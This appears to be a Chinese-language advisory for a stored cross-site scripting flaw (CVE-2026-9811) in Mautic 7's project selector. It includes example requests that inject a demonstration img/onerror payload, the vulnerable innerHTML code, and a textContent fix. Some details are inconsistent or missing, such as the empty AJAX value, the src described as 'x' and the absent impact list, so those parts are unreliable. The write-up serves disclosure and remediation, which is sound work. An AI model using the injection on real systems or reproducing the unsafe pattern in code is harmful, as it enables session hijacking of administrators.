CVE-2026-9811 是一个影响 Mautic 7(版本 7.0.0 至 7.1.1)的存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于项目选择器(Project Selector)组件中,通过 AJAX 请求返回的项目名称在未经正确的输出编码或净化处理的情况下被插入到页面中。拥有创建项目权限的已认证用户可以在项目名称中存储恶意 JavaScript 载荷。当其他管理员随后打开包含项目选择器的实体编辑器时,恶意脚本会在其浏览器中执行。
属性 值 产品 Mautic 受影响版本 7.0.0 – 7.1.1 修复版本 7.1.2 组件 项目选择器 漏洞类型 存储型跨站脚本(XSS)
应用程序存储由已认证用户提供的项目名称,随后通过 AJAX 端点检索这些名称。在渲染项目选择器时,应用程序将这些值直接作为 HTML option 元素插入 DOM,而未对内容进行转义或净化处理。
从概念上讲:
User creates project
│
▼
Project name stored in database
│
▼
AJAX returns project name
│
▼
Inserted into DOM without sanitization
│
▼
Browser executes embedded JavaScript
由于应用程序信任已存储的数据,只要其他特权用户加载易受攻击的页面,恶意 JavaScript 便会执行。
Attacker
│
▼
Creates a project with a malicious JavaScript payload as its name
│
▼
Payload is stored in the database
│
▼
Administrator opens an entity editor
│
▼
AJAX request retrieves project names
│
▼
Application inserts project name into the DOM without encoding
│
▼
Browser executes the malicious script
│
▼
Attacker gains actions within the administrator's session
拥有创建项目权限的攻击者创建一个名称中包含恶意 JavaScript 载荷的项目。
随后,管理员编辑另一个包含项目选择器的实体。选择器通过 AJAX 加载项目名称并将其直接插入页面。由于项目名称未经过净化处理,浏览器将以管理员的权限执行其中嵌入的脚本。
步骤 1: 正常创建项目
假设 Mautic 有一个如下所示的表单:
POST /projects/create HTTP/1.1
Content-Type: application/x-www-form-urlencoded
projectName=Marketing Campaign
description=Email Campaign
项目被保存为:
Marketing Campaign
步骤 2: 攻击者创建项目
攻击者没有使用正常名称,而是输入了包含无害 JavaScript 事件的 HTML:
POST /projects/create HTTP/1.1
Content-Type: application/x-www-form-urlencoded
projectName=<img src="https://raw.githubusercontent.com/aj2108/cve-2026-9811/main/x" onerror="console.log('XSS Demo')">
description=Test
数据库现在存储的正是该字符串。
步骤 3: AJAX 返回存储的值
随后,管理员打开一个加载项目的页面。
AJAX 响应:
{
"id": 7,
"projectName": ""
}
步骤 4: 存在漏洞的 JavaScript
假设应用程序执行如下操作:
const project = response.projectName;
document.getElementById("projects").innerHTML +=
`<option>${project}</option>`;
浏览器看到的是:
<option>
<img src="https://raw.githubusercontent.com/aj2108/cve-2026-9811/main/x" onerror="console.log('XSS Demo')">
</option>
由于应用程序将该字符串作为 HTML 而非文本插入,浏览器会将其解析为实际的 元素。图片加载失败(src="x"),导致 onerror 处理程序被执行。
成功利用该漏洞可能使攻击者能够:
| 指标 | 评分 |
|---|---|
| CVSS v3.1 (CNA) | 5.4(中危) |
NVD 尚未针对该 CVE 发布其自身的 CVSS 评估。
注意: 供应商尚未公开确切的漏洞源代码。以下示例仅用于说明漏洞模式。
// Data returned from AJAX
const project = response.projectName;
// Unsafe: inserted directly into the DOM
document.getElementById("projectSelector").innerHTML +=
`<option>${project}</option>`;
项目名称来源于用户输入,但在未经 HTML 编码的情况下被插入到页面中。如果存储的值包含 HTML 或 JavaScript,浏览器会将其解释为可执行内容,而非纯文本。
const option = document.createElement("option");
// Safe: assign as text, not HTML
option.textContent = response.projectName;
document.getElementById("projectSelector").appendChild(option);
或者,如果无法避免 HTML 输出,请确保在插入前进行正确的输出编码。
使用 textContent(或等效的安全 API)可确保任何特殊字符都被视为纯文本,而非可执行的 HTML 或 JavaScript。即使数据库中存储了恶意的项目名称,它也只会被原样显示,而不会被执行。